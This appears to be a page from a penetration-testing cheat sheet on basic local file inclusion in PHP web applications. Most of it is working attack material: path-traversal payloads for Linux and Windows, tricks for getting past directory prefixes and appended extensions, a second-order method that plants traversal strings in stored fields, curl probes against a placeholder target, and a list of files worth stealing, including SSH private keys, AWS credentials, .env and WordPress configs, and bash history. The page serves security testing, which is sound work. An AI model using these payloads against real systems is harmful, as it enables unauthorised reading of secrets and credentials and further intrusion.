Skip to content

Basic LFI

Read a known file via the suspect parameter. Adjust the payload based on the path prefix, suffix, and any filtering the application does.

# Absolute path - works when input is used unmodified
?page=/etc/passwd
# Relative path with traversal - works when input is appended after a directory
?page=../../../../etc/passwd
# Excess ../ is harmless - / stays / once you're at root
?page=../../../../../../../../etc/passwd
# Windows targets
?page=../../../../windows/win.ini
?page=C:/Windows/System32/drivers/etc/hosts

Success indicator: contents of the target file in the response. /etc/passwd shows root:x:0:0:... and a list of system users.

/etc/passwd is the universal first move on Linux:

?page=/etc/passwd
?page=../etc/passwd
?page=../../etc/passwd
?page=../../../etc/passwd
?page=../../../../etc/passwd
?page=../../../../../etc/passwd
?page=../../../../../../etc/passwd
?page=../../../../../../../etc/passwd

One of these almost always works on a vulnerable Linux app. Recognizing the response:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Once you see this, LFI is confirmed and the rest of this section is about refining the payload.

For Windows:

?page=C:/Windows/System32/drivers/etc/hosts
?page=C:\Windows\win.ini
?page=../../../../windows/win.ini

The most common vulnerable pattern: input is appended after a directory prefix.

// Vulnerable
include("./languages/" . $_GET['page']);

A naive ?page=/etc/passwd becomes ./languages//etc/passwd - which doesn’t exist (no /etc directory inside languages/). The fix is ../ to climb out:

?page=../../../../etc/passwd
./languages/../../../../etc/passwd
↓ resolves to
/etc/passwd

Enough to reach root from wherever the application is running. On Linux web apps:

  • /var/www/html → 3 levels deep → ../../../etc/passwd is the minimum
  • /srv/www/example.com/public → 4 levels deep → ../../../../etc/passwd
  • /opt/app → 2 levels deep → ../../etc/passwd

You don’t need to be precise. Once you reach /, additional ../ is harmless - / is its own parent, so cd .. from / stays at /. Stack 8-10 ../ and you’ve covered the common depths without thinking about it:

?page=../../../../../../../../etc/passwd

Use the minimum that works in writeups (looks cleaner); use excess during testing (saves a probe).

When traversal fails, PHP errors often show the full path the function tried to load:

Warning: include(./languages/etc/passwd): failed to open stream:
No such file or directory in /var/www/html/index.php on line 12

Three things in that error:

  1. The prefix being prepended: ./languages/
  2. Your input as it was used: etc/passwd (without leading /)
  3. The script’s location: /var/www/html/index.php - so you’re 3 levels deep

PHP errors in production are themselves a misconfiguration, but they’re a gift when present. Refer to the error to dial in the exact ../ count.

A trickier variant - input is concatenated without a separator:

// Vulnerable
include("lang_" . $_GET['page']);

A ?page=../../../etc/passwd becomes lang_../../../etc/passwd - invalid because lang_.. isn’t a directory.

Insert a / at the start of your payload to make the prefix behave as a directory name:

?page=/../../../etc/passwd
lang_/../../../etc/passwd
↓ resolves to (treating lang_ as a missing-but-traversable dir)
/../../../etc/passwd
/etc/passwd

This depends on the OS / framework treating the missing lang_ directory as traversable. It works on most Linux PHP setups; sometimes fails on stricter configurations.

When it doesn’t work, the path is genuinely broken and you have to find a different sink - there’s no way to detach the prefix from your input cleanly when there’s no separator.

A common pattern - the application appends .php (or another extension) after your input to constrain what files can be loaded:

include($_GET['page'] . ".php");

A ?page=/etc/passwd becomes /etc/passwd.php - doesn’t exist.

Modern PHP (5.3+ for null-byte, 5.4+ for path truncation, all 7.x and 8.x) makes this hard to bypass with traversal alone. Three approaches:

  1. Accept the constraint and read only .php files. Useful for source disclosure via PHP filters.
  2. Use a PHP wrapper that doesn’t care about the appended extension - data:// and expect:// often work because the appended .php becomes part of the wrapper string that the wrapper ignores.
  3. Old PHP only (≤5.3) - null-byte injection or path truncation (see Filter bypasses).

On modern PHP, the appended-extension pattern restricts you to specific file types but doesn’t close LFI entirely - it just changes what attacks work.

When the application uses your input as-is (no prefix, no suffix), absolute paths work directly:

include($_GET['page']);
?page=/etc/passwd → /etc/passwd directly
?page=/var/www/html/config.php → loads config.php
?page=C:/Windows/win.ini → Windows

No ../ needed. Test this form first if you don’t yet know what the application does with your input.

After confirming with /etc/passwd, expand into the targets that actually matter:

/etc/passwd # users (confirmation classic)
/etc/shadow # password hashes - usually only root-readable
/etc/hosts # network neighbors
/etc/issue # OS version
/etc/os-release # OS details
/etc/crontab # scheduled tasks → privesc targets
/etc/sudoers # who can sudo what
/proc/self/environ # env vars of current process - sometimes RCE-able
/proc/version # kernel version
/proc/self/cmdline # current process arguments
/proc/<PID>/cmdline # other processes
# Application config
/var/www/html/config.php # PHP apps - DB creds, secrets
/var/www/html/.env # framework-style env files
/var/www/html/wp-config.php # WordPress
/var/www/html/configuration.php # Joomla
/var/www/html/sites/default/settings.php # Drupal
# User home directories
/root/.ssh/id_rsa # root's SSH key (gold)
/root/.bash_history # root's command history
/home/<user>/.ssh/id_rsa # user SSH keys
/home/<user>/.bash_history # what they typed
/home/<user>/.aws/credentials # AWS keys
/home/<user>/.docker/config.json # Docker registry creds
# Server logs (for log poisoning - see that page)
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/auth.log
C:\Windows\System32\drivers\etc\hosts # hosts file
C:\Windows\win.ini # legacy config (confirmation classic)
C:\Windows\System32\inetsrv\config\applicationHost.config # IIS config
C:\inetpub\wwwroot\web.config # ASP.NET app config
C:\Users\<user>\.ssh\id_rsa # SSH key if OpenSSH installed
C:\xampp\apache\conf\httpd.conf # XAMPP

Sometimes the operator can’t directly pass a path - but the application stores a user-controlled value and later uses it as a path. For example:

1. User registers with username "../../../etc/passwd"
2. Application stores the malicious username in the database
3. Later, a different feature loads /profile/<username>/avatar.png
4. The avatar-loader fetches /profile/../../../etc/passwd/avatar.png
5. Some path normalization gives /etc/passwd/avatar.png - still fails
6. But /profile/<../../../etc/passwd>/profile.json might succeed depending on the join logic

The pattern: poison a stored field with traversal sequences, then trigger a code path that uses that field as part of a file path.

Detection: register / configure accounts with usernames, paths, or identifiers containing ../. Watch for any subsequent feature that loads “your X” by name - avatars, exports, “download my data,” report files. If the feature returns unexpected content, second-order LFI is likely.

Operationally relevant fields to test:

  • Username
  • Display name
  • Filename (in upload features that preserve the name)
  • File extension (some apps build paths like /uploads/<id>.<ext>)
  • Profile picture name
  • Export-format selectors
  • Theme / template name preferences

The bug shows up most often in features that the development team added “later” - original code was carefully written, but the new export feature reuses fields the original code never expected to contain path-traversal sequences.

When testing a candidate parameter, work through these in order:

  1. Reflection test - does the parameter affect the response at all? Change the value, observe the response change. If no change, the parameter isn’t being used.
  2. Path-shaped values - try index.php, ../index.php, /etc/passwd. Verbose errors reveal the path structure.
  3. Adjust the traversal count - work from ../../etc/passwd up to ../../../../../../etc/passwd if needed.
  4. Try prefix-detachment - start with / to defeat naive prefix concatenation.
  5. Check appended extension - if .php is appended, try php://filter (see PHP filters).
  6. Try other extensions - if a directory is prepended, the same payload structure works for any included content type.

A typical successful chain on a vulnerable target:

Terminal window
# Probe - file does not exist with current path structure
curl 'https://target.example.com/?page=/etc/passwd'
# Error reveals the path
# > include(/var/www/html/languages//etc/passwd): failed to open stream
# Adjust - climb out of /var/www/html/languages
curl 'https://target.example.com/?page=../../../etc/passwd'
# > root:x:0:0:root:/root:/bin/bash <- success

Probes that confirm LFI without committing to a deep exploit chain:

?page=/etc/passwd # Linux
?page=C:/Windows/win.ini # Windows
?page=../etc/passwd # single traversal
?page=../../../../etc/passwd # several
?page=php://filter/resource=index # the page including itself, if rendering ≠ source

The cleanest single-shot LFI probe is /etc/hosts - small, present everywhere, recognizable format (127.0.0.1 localhost), and the response will fit in a single HTTP body without paging.

  • Verbose errors are configuration mistakes. Production apps shouldn’t surface PHP errors - when they do, it’s a finding in its own right, separate from the LFI. Mention both in reports.
  • Read access only. This page covers the read-anything primitive. Turning that into code execution requires the function to execute the loaded file (PHP include, NodeJS res.render, etc.) - see the overview table.
  • OS detection from one probe. /etc/passwd only works on Linux/Unix; C:\Windows\win.ini only on Windows. Trying both early identifies the OS before you commit to OS-specific follow-ups.
  • Bash history is underrated. ~/.bash_history for whatever user runs the app frequently contains passwords typed at command lines, MySQL passwords passed via mysql -p<password>, and full sudo commands. Read this on any successful LFI before pivoting.